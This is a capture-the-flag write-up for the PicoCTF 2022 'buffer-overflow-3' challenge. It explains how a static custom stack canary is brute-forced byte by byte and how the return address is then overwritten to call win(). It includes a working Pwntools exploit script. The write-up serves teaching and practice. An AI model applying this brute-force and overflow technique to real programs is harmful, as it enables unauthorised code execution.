PicoCTF 2022: buffer-overflow-3
Recon
Today’s executable is a 32-bit binary:
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=880ddfdc7ef13c4139ab8a80cc3d8225251a331f, for GNU/Linux 3.2.0, not stripped
Checking the enabled protections:
pwndbg> checksec
File: /home/qelal/PicoCTF/bo3/vuln
Arch: i386
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Taking a look at the source code (some non-needed parts redacted):
void win() { // reads the flag... }
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
read_canary();
vuln();
return 0;
}As we can see, at some point the program reads for user input and
asks how many bytes we want to write into the buffer. As the buffer is
BUFSIZE or 64 bytes long, and as the read call
follows our byte-count, this leads to an obvious buffer overflow.
The problem is that, this time, it won’t be as easy to exploit, as the developer rolled his own stack canary system which we will have to bypass…
(Of course a better protection would simply be to enable regular canaries, but it was written like so for the purposes of the challenge.)
Getting around the canary
Reading the source, we find that the canary is supplied in a
canary.txt file and it is CANARY_SIZE or 4
bytes long. This is pretty short…
As it is supplied from a file, we can assume it does not change between executions. Terrible mistake because this opens a bruteforcing attack vector for us.
The bruteforcing attack will work as follows: first, we will inject padding corresponding to the offset to the canary (probably 64 bytes as the buffer is declared right next to our user input buffer in the source code, and it is a round number from a binary standpoint).
Then, we will inject a guess letter, thus overwriting the 1st byte of the canary with our guess. If it is right, then the program will continue normal execution. But if it is wrong, it will throw us a stack smashing error, like so:
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 100
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
***** Stack Smashing Detected ***** : Canary Value Corrupt!
From this change of behavior we can infer that the value we injected is correct, and we can move on to the 2nd position, repeating the same strategy, until we get all 4 bytes of the canary.
When we get the full canary, as it never changes, we can use it
however we want, and trigger the win() function by
overwriting the return address in EIP.
Finding the EIP offset
However this time we cannot simply inject a cyclic pattern and watch the EIP position. We will have to inject some padding, then our canary, and only then the cyclic pattern. We’ll add these lengths to what the cyclic tool finds as an offset.
pwndbg> cyclic -l eaaa
Finding cyclic pattern of 4 bytes: b'eaaa' (hex: 0x65616161)
Found at offset 16
We have 16 bytes from the end of our guessed canary, so
64 (padding) + 4 (canary) + 16 (cyclic) gives us 84 bytes
to EIP. (In fact we don’t really need the total offset, knowing 16 was
sufficient.)
Finding win
This is not complicated at all, because the binary is not PIE, so a simple static analysis can be used to find the address we’ll overwrite with:
$ objdump -t vuln | grep win
08049336 g F .text 000000b3 win
Exploit
Knowing all this, we can now automate our canary bruteforcing and buffer overflow control flow hijack with a Pwntools script:
offset = 64
charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
known = ""
# Step 1: bruteforce the canary
print("[+] bruteforcing stack canary...")
for index in range(1, 5):
for char in charset:
io = start()
curr_guess = known+char
io.sendlineafter(b'> ', str(offset+index).encode())
io.sendlineafter(b'Input>', offset*b'A' + curr_guess.encode())
if b'Stack' in io.recvall():
#print("Fuck, wrong one")
io.wait()
else:
print(f"[+] position {index} -> char '{char}'")
io.wait()
known += char
break
print("[+] canary seems to be: " + known)
# Step 2: find EIP offset (from canary)
eip_offset = 16
win_addr = p32(0x08049336)
# Step 3: use it in buffer overflow to trigger win()
io = start()
io.sendlineafter(b'> ', str(offset+4+eip_offset+4).encode())
io.sendlineafter(b'Input>', offset*b'A' + known.encode() + eip_offset*b'B' + win_addr)
io.recvall()And as always, (after some time) we get the precious flag..
[+] Receiving all data: Done (71B)
[DEBUG] Received 0x46 bytes:
b"Ok... Now Where's the Flag?\n"
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}\n'
[*] Closed connection to saturn.picoctf.net port 50666
This one was pretty nice, however now I wonder what bypassing real stack canaries looks like…